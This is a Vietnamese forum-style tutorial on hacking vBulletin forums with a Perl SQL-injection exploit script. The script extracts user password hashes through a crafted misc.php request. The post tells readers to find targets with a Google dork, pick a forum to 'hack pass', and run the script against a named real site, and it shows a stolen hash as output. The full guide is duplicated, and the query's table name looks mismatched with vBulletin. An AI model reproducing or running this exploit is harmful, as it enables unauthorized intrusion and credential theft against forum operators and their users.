Sau Đây Mình Sẽ HD.
1:- Google tìm và Download Active Perl và Install
2:- Click ActivePerl Downloads - Perl Binaries for Windows, Linux and Mac Download Active Perl
3:- Nở notepad và dán đoạn codesau:
#!/usr/bin/perl
use IO::Socket;
print q{
#######################################################################
#vBulletin? Version 4.0.1 Remote SQL Injection Exploit
#By JAR
# our Site http://www.xayda.info
# Dork: Powered by vBulletin? Version 4.0.1
#######################################################################
};
if (!$ARGV[2]) {
print q{
Usage: perl VB4.0.1.pl host /directory/ victim_userid
perl VB4.0.1.pl VB.com Fame List - Very Beautiful Brands history more /forum/ 1
};
}
$server = $ARGV[0];
$dir = $ARGV[1];
$user = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
print"------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print"------------------------------------------------------------------------------------------------\r\n\r\n";
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "misc.php?sub=profile&name=0') UNION SELECT 0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ?,0,0 FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;
print "[~] PREPARE TO CONNECT...\r\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>"$server", PeerPort => "80") || die"[-] CONNECTION FAILED";
print "[ ] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[ ] DONE!\r\n\r\n";
print "--[ REPORT]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
if ($answer =~/(\w{32})/)
{
if ($1 ne 0) {
print "Password is: ".$1."\r\n";
print"--------------------------------------------------------------------------------------\r\n";
}
exit();
}
}
print"------------------------------------------------------------------------------------------------\r\n";
4:- Lưu lại ở ổ C với tên "name.pl",ở File type chọn All Type.
5:- Vào Start -> Run -> CMD và chạy file name.pl đó.
6:- Gõ enter để thực hiện lệnh.
7:- Và file của bạn được thấy giống như:
C:\name.pl"
8:- Vào Google Search với từ khóa: " Powered by vBulletin? Version 4.0.5" (Đã test trên 4.0.5 vẫn được)
9:- Chọn Forum muốn Hack pass
10: Ví dụ: Activity Stream - WEBKETOAN
11: Vào CMD và gõ:
C:\>name.pl Webketoan.vn /forum/ 1
Kết quả:
[>] SERVER: Webketoan.vn
[>] DIR: /forum/
[>] USERID: 1
------------------------------------------------
----------------
[~] PREPARE TO CONNECT...
[ ] CONNECTED
[~] SENDING QUERY...
[ ] DONE!
--[ REPORT]------------------------------------
----------------
Password is: f3d5c6d110ddda08ef207d1ecb3b79ae
------------------------------------------------
------
Pass của VBB mã hóa dạng$pass.$salt, tức kèm theo ký tự ngẫu nhiên nữa.
1:- Google tìm và Download Active Perl và Install
2:- Click ActivePerl Downloads - Perl Binaries for Windows, Linux and Mac Download Active Perl
3:- Nở notepad và dán đoạn codesau:
#!/usr/bin/perl
use IO::Socket;
print q{
#######################################################################
#vBulletin? Version 4.0.1 Remote SQL Injection Exploit
#By JAR
# our Site http://www.xayda.info
# Dork: Powered by vBulletin? Version 4.0.1
#######################################################################
};
if (!$ARGV[2]) {
print q{
Usage: perl VB4.0.1.pl host /directory/ victim_userid
perl VB4.0.1.pl VB.com Fame List - Very Beautiful Brands history more /forum/ 1
};
}
$server = $ARGV[0];
$dir = $ARGV[1];
$user = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
print"------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print"------------------------------------------------------------------------------------------------\r\n\r\n";
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "misc.php?sub=profile&name=0') UNION SELECT 0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ?,0,0 FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;
print "[~] PREPARE TO CONNECT...\r\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>"$server", PeerPort => "80") || die"[-] CONNECTION FAILED";
print "[ ] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[ ] DONE!\r\n\r\n";
print "--[ REPORT]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
if ($answer =~/(\w{32})/)
{
if ($1 ne 0) {
print "Password is: ".$1."\r\n";
print"--------------------------------------------------------------------------------------\r\n";
}
exit();
}
}
print"------------------------------------------------------------------------------------------------\r\n";
4:- Lưu lại ở ổ C với tên "name.pl",ở File type chọn All Type.
5:- Vào Start -> Run -> CMD và chạy file name.pl đó.
6:- Gõ enter để thực hiện lệnh.
7:- Và file của bạn được thấy giống như:
C:\name.pl"
8:- Vào Google Search với từ khóa: " Powered by vBulletin? Version 4.0.5" (Đã test trên 4.0.5 vẫn được)
9:- Chọn Forum muốn Hack pass
10: Ví dụ: Activity Stream - WEBKETOAN
11: Vào CMD và gõ:
C:\>name.pl Webketoan.vn /forum/ 1
Kết quả:
[>] SERVER: Webketoan.vn
[>] DIR: /forum/
[>] USERID: 1
------------------------------------------------
----------------
[~] PREPARE TO CONNECT...
[ ] CONNECTED
[~] SENDING QUERY...
[ ] DONE!
--[ REPORT]------------------------------------
----------------
Password is: f3d5c6d110ddda08ef207d1ecb3b79ae
------------------------------------------------
------
Pass của VBB mã hóa dạng$pass.$salt, tức kèm theo ký tự ngẫu nhiên nữa.